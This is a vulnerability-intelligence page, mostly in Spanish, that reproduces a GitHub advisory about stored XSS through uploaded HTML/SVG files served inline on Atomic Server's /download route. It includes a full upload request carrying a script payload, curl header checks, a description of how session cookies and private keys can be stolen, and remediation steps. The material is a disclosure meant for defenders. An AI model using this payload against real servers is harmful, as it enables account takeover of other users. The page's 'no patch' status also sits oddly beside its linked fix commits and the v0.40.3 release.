llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · atomic-server

GHSA-X277-3WCG-G9R2

Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` → account takeover

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición1 dDesde la divulgación, 18 nov 2026, 3:41 p. m.
Detección22 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
03:41 p. m.
04:00 p. m.
02:18 a. m.
03:41 p. m.
12:20 a. m.
09:00 a. m.
05:39 p. m.
02:18 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-X277-3WCG-G9R2 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Files uploaded via `POST /upload` are served back by `GET /download/{path}` using `actix_files::NamedFile`. For `text/html` and `image/svg+xml`, actix-files (0.6.6) sets `Content-Disposition: inline`, so the browser renders the file instead of downloading it. The `/download` route sets no `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, and no forced `attachment` (CSP exists only on the SPA route), and files are served from the same origin as the app UI. An authenticated Agent uploads `evil.html` containing `<script>`; when a victim opens the link, the script executes in the app origin. Because the `atomic_session` cookie is set via `document.cookie` (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (`browser/data-browser/src/helpers/agentStorage.ts`), the script exfiltrates the private key → permanent account takeover.

Affected component

  • `server/src/handlers/upload.rs` — stores the file; mimetype guessed from extension.
  • `server/src/handlers/download.rs:65` — `NamedFile::open(...).into_response(req)` with no CSP/nosniff/attachment; CSP is only set in `server/src/handlers/single_page_app.rs`.

Steps to Reproduce

Environment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a folder.

  1. Upload an HTML file (multipart, with signed auth headers):
POST /upload?parent=http://localhost:9883 HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/upload?parent=http://localhost:9883 <ms>")>
Content-Type: multipart/form-data; boundary=----poc

------poc
Content-Disposition: form-data; name="assets"; filename="xss.html"
Content-Type: text/html

<html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html>
------poc--

Response `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/<ts>-xss.html`.

  1. Inspect how the server serves it:
$ curl -D - http://localhost:9883/download/files/<ts>-xss.html
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
content-disposition: inline; filename="<ts>-xss.html"
# (no Content-Security-Policy, no X-Content-Type-Options)

`text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically.

  1. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.

Expected: user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin.
Actual: served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes.

*(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `<script>` body. In-browser execution and IndexedDB key theft follow directly from these response headers.)*

Impact

Stored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover.

Remediation

  • On `/download`, force `Content-Disposition: attachment` for user files, add `X-Content-Type-Options: nosniff`, and a `sandbox` CSP.
  • Serve user-uploaded files from a separate origin/subdomain.
  • Set `HttpOnly` + `Secure` on the session cookie; do not persist the private key in JS-readable storage.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
atomic-server≥ 0.30.0 ≤ 0.40.1
0.30.0
0.40.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.ioatomic-server
Sin parche — — 0.40.1 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-69155
Otrahttps://github.com/ontola/atomic-server/security/advisories/GHSA-x277-3wcg-g9r2
Otrahttps://github.com/ontola/atomic-server/commit/457c1dc9af4cd00d2aec89720718e504a49f392d
Otrahttps://github.com/ontola/atomic-server/commit/8a8badfd3099765e62ccf6f92dc78a408a11106f
Otrahttps://github.com/ontola/atomic-server
Otrahttps://github.com/ontola/atomic-server/releases/tag/v0.40.3

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.